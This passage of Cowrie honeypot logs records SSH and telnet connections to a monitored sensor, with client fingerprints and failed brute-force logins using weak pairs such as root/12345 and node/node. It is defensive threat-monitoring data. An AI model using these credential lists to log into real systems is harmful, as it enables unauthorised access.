tr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:40.518294Z","src_ip":"194.59.206.2","session":"3f9978f51333","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:40.903796Z","src_ip":"194.59.206.2","session":"3f9978f51333","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":45278,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7773df41c81","protocol":"telnet","message":"New connection: 212.252.78.49:45278 (159.203.135.109:23) [session: d7773df41c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:41.110461Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":47570,"dst_ip":"159.203.135.109","dst_port":23,"session":"553f284c6c6c","protocol":"telnet","message":"New connection: 212.252.78.49:47570 (159.203.135.109:23) [session: 553f284c6c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:41.717850Z"}
{"eventid":"cowrie.session.closed","duration":120.0012059211731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:41.930114Z","src_ip":"212.252.78.49","session":"da5fed4a6279","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48042,"dst_ip":"159.203.135.109","dst_port":22,"session":"b43f279b2cc3","protocol":"ssh","message":"New connection: 192.109.200.78:48042 (159.203.135.109:22) [session: b43f279b2cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:42.838184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:42.843011Z","src_ip":"192.109.200.78","session":"b43f279b2cc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:42.925829Z","src_ip":"192.109.200.78","session":"b43f279b2cc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:43.175697Z","src_ip":"192.109.200.78","session":"b43f279b2cc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":52842,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcc23ce675c2","protocol":"telnet","message":"New connection: 212.252.78.49:52842 (159.203.135.109:23) [session: fcc23ce675c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:43.865487Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46212,"dst_ip":"159.203.135.109","dst_port":22,"session":"d22a3b6898cc","protocol":"ssh","message":"New connection: 176.65.139.95:46212 (159.203.135.109:22) [session: d22a3b6898cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:43.996008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:44.068001Z","src_ip":"176.65.139.95","session":"d22a3b6898cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:44.124524Z","src_ip":"176.65.139.95","session":"d22a3b6898cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:44.260526Z","src_ip":"192.109.200.78","session":"b43f279b2cc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user6","password":"user6","message":"login attempt [user6/user6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:44.520027Z","src_ip":"176.65.139.95","session":"d22a3b6898cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:45.612320Z","src_ip":"176.65.139.95","session":"d22a3b6898cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48048,"dst_ip":"159.203.135.109","dst_port":22,"session":"82f18ca27861","protocol":"ssh","message":"New connection: 192.109.200.78:48048 (159.203.135.109:22) [session: 82f18ca27861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:47.096846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:47.101940Z","src_ip":"192.109.200.78","session":"82f18ca27861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:47.186337Z","src_ip":"192.109.200.78","session":"82f18ca27861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:47.439904Z","src_ip":"192.109.200.78","session":"82f18ca27861","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:48.526236Z","src_ip":"192.109.200.78","session":"82f18ca27861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51842,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6bd026eb1b8","protocol":"ssh","message":"New connection: 176.65.139.95:51842 (159.203.135.109:22) [session: c6bd026eb1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:50.187880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:50.233276Z","src_ip":"176.65.139.95","session":"c6bd026eb1b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:50.313159Z","src_ip":"176.65.139.95","session":"c6bd026eb1b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:50.809993Z","src_ip":"176.65.139.95","session":"c6bd026eb1b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":61767,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7ed908a3f7e","protocol":"telnet","message":"New connection: 212.252.78.49:61767 (159.203.135.109:23) [session: e7ed908a3f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:50.901443Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43306,"dst_ip":"159.203.135.109","dst_port":22,"session":"2459db498d8b","protocol":"ssh","message":"New connection: 192.109.200.78:43306 (159.203.135.109:22) [session: 2459db498d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:51.243911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:51.248711Z","src_ip":"192.109.200.78","session":"2459db498d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:51.332075Z","src_ip":"192.109.200.78","session":"2459db498d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:51.579756Z","src_ip":"192.109.200.78","session":"2459db498d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:51.941847Z","src_ip":"176.65.139.95","session":"c6bd026eb1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:52.688196Z","src_ip":"192.109.200.78","session":"2459db498d8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43314,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5f2b4c59bc8","protocol":"ssh","message":"New connection: 192.109.200.78:43314 (159.203.135.109:22) [session: a5f2b4c59bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:55.533695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:55.544098Z","src_ip":"192.109.200.78","session":"a5f2b4c59bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:55.629648Z","src_ip":"192.109.200.78","session":"a5f2b4c59bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:55.882967Z","src_ip":"192.109.200.78","session":"a5f2b4c59bc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":51854,"dst_ip":"159.203.135.109","dst_port":22,"session":"24cc6d3be67a","protocol":"ssh","message":"New connection: 176.65.139.95:51854 (159.203.135.109:22) [session: 24cc6d3be67a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:56.446969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:56.452135Z","src_ip":"176.65.139.95","session":"24cc6d3be67a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:56.534171Z","src_ip":"176.65.139.95","session":"24cc6d3be67a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:56.789057Z","src_ip":"176.65.139.95","session":"24cc6d3be67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:56.968962Z","src_ip":"192.109.200.78","session":"a5f2b4c59bc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:57.941903Z","src_ip":"176.65.139.95","session":"24cc6d3be67a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51182,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9b879d22a8f","protocol":"ssh","message":"New connection: 192.109.200.78:51182 (159.203.135.109:22) [session: c9b879d22a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:59.653714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:25:59.657595Z","src_ip":"192.109.200.78","session":"c9b879d22a8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 